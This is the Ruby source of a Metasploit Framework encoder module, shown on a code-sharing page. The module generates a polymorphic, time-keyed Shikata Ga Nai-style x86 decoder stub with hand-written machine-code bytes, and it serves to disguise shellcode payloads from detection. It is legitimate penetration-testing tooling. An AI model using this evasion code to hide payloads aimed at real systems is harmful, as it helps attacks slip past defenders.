CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/encoders/x86/context_time.rb
Views: 11778
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rex/poly'
7
8
class MetasploitModule < Msf::Encoder::XorAdditiveFeedback
9
10
# Manual ranking because the time(2) key is generated and supplied
11
# manually.
12
13
Rank = ManualRanking
14
15
def initialize
16
super(
17
'Name' => 'time(2)-based Context Keyed Payload Encoder',
18
'Description' => %q{
19
This is a Context-Keyed Payload Encoder based on time(2)
20
and Shikata Ga Nai.
21
},
22
'Author' => 'Dimitris Glynos',
23
'Arch' => ARCH_X86,
24
'License' => MSF_LICENSE,
25
'Decoder' =>
26
{
27
'KeySize' => 4,
28
'BlockSize' => 4
29
})
30
31
register_options(
32
[
33
OptString.new('TIME_KEY',
34
[ true,
35
"TIME key from target host (see tools/context/time-key utility)",
36
"0x00000000"])
37
])
38
end
39
40
def obtain_key(buf, badchars, state)
41
state.key = datastore['TIME_KEY'].hex
42
return state.key
43
end
44
45
#
46
# Generates the shikata decoder stub.
47
#
48
def decoder_stub(state)
49
# If the decoder stub has not already been generated for this state, do
50
# it now. The decoder stub method may be called more than once.
51
if (state.decoder_stub == nil)
52
# Shikata will only cut off the last 1-4 bytes of it's own end
53
# depending on the alignment of the original buffer
54
cutoff = 4 - (state.buf.length & 3)
55
block = keygen_stub() + generate_shikata_block(state, state.buf.length + cutoff, cutoff) || (raise BadGenerateError)
56
57
# Take the last 1-4 bytes of shikata and prepend them to the buffer
58
# that is going to be encoded to make it align on a 4-byte boundary.
59
state.buf = block.slice!(block.length - cutoff, cutoff) + state.buf
60
61
# Cache this decoder stub. The reason we cache the decoder stub is
62
# because we need to ensure that the same stub is returned every time
63
# for a given encoder state.
64
state.decoder_stub = block
65
end
66
67
state.decoder_stub
68
end
69
70
protected
71
def keygen_stub
72
payload =
73
"\x31\xdb" + # xor %ebx,%ebx
74
"\x8d\x43\x0d" + # lea 0xd(%ebx),%eax
75
"\xcd\x80" + # int $0x80
76
"\x66\x31\xc0" # xor %ax,%ax
77
end
78
79
#
80
# Returns the set of FPU instructions that can be used for the FPU block of
81
# the decoder stub.
82
#
83
def fpu_instructions
84
fpus = []
85
86
0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
87
0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
88
0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
89
0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
90
0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }
91
92
fpus << "\xd9\xd0"
93
fpus << "\xd9\xe1"
94
fpus << "\xd9\xf6"
95
fpus << "\xd9\xf7"
96
fpus << "\xd9\xe5"
97
98
# This FPU instruction seems to fail consistently on Linux
99
#fpus << "\xdb\xe1"
100
101
fpus
102
end
103
104
#
105
# Returns a polymorphic decoder stub that is capable of decoding a buffer
106
# of the supplied length and encodes the last cutoff bytes of itself.
107
#
108
def generate_shikata_block(state, length, cutoff)
109
# Declare logical registers
110
key_reg = Rex::Poly::LogicalRegister::X86.new('key', 'eax')
111
count_reg = Rex::Poly::LogicalRegister::X86.new('count', 'ecx')
112
addr_reg = Rex::Poly::LogicalRegister::X86.new('addr')
113
114
# Declare individual blocks
115
endb = Rex::Poly::SymbolicBlock::End.new
116
117
# FPU blocks
118
fpu = Rex::Poly::LogicalBlock.new('fpu', *fpu_instructions)
119
fnstenv = Rex::Poly::LogicalBlock.new('fnstenv', "\xd9\x74\x24\xf4")
120
121
# Get EIP off the stack
122
popeip = Rex::Poly::LogicalBlock.new('popeip',
123
Proc.new { |b| (0x58 + b.regnum_of(addr_reg)).chr })
124
125
# Clear the counter register
126
clear_register = Rex::Poly::LogicalBlock.new('clear_register',
127
"\x31\xc9",
128
"\x29\xc9",
129
"\x33\xc9",
130
"\x2b\xc9")
131
132
# Initialize the counter after zeroing it
133
init_counter = Rex::Poly::LogicalBlock.new('init_counter')
134
135
# Divide the length by four but ensure that it aligns on a block size
136
# boundary (4 byte).
137
length += 4 + (4 - (length & 3)) & 3
138
length /= 4
139
140
if (length <= 255)
141
init_counter.add_perm("\xb1" + [ length ].pack('C'))
142
else
143
init_counter.add_perm("\x66\xb9" + [ length ].pack('v'))
144
end
145
146
# Key initialization block
147
148
# Decoder loop block
149
loop_block = Rex::Poly::LogicalBlock.new('loop_block')
150
151
xor = Proc.new { |b| "\x31" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
152
xor1 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
153
xor2 = Proc.new { |b| xor.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
154
add = Proc.new { |b| "\x03" + (0x40 + b.regnum_of(addr_reg) + (8 * b.regnum_of(key_reg))).chr }
155
add1 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - cutoff) ].pack('c') }
156
add2 = Proc.new { |b| add.call(b) + [ (b.offset_of(endb) - b.offset_of(fpu) - 4 - cutoff) ].pack('c') }
157
sub4 = Proc.new { |b| "\x83" + (0xe8 + b.regnum_of(addr_reg)).chr + "\xfc" }
158
add4 = Proc.new { |b| "\x83" + (0xc0 + b.regnum_of(addr_reg)).chr + "\x04" }
159
160
loop_block.add_perm(
161
Proc.new { |b| xor1.call(b) + add1.call(b) + sub4.call(b) },
162
Proc.new { |b| xor1.call(b) + sub4.call(b) + add2.call(b) },
163
Proc.new { |b| sub4.call(b) + xor2.call(b) + add2.call(b) },
164
Proc.new { |b| xor1.call(b) + add1.call(b) + add4.call(b) },
165
Proc.new { |b| xor1.call(b) + add4.call(b) + add2.call(b) },
166
Proc.new { |b| add4.call(b) + xor2.call(b) + add2.call(b) })
167
168
# Loop instruction block
169
loop_inst = Rex::Poly::LogicalBlock.new('loop_inst',
170
"\xe2\xf5")
171
172
# Define block dependencies
173
fnstenv.depends_on(fpu)
174
popeip.depends_on(fnstenv)
175
init_counter.depends_on(clear_register)
176
loop_block.depends_on(popeip, init_counter)
177
loop_inst.depends_on(loop_block)
178
179
# Generate a permutation saving the EAX, ECX and ESP registers
180
loop_inst.generate([
181
Rex::Arch::X86::EAX,
182
Rex::Arch::X86::ESP,
183
Rex::Arch::X86::ECX ], nil, state.badchars)
184
end
185
end
186
187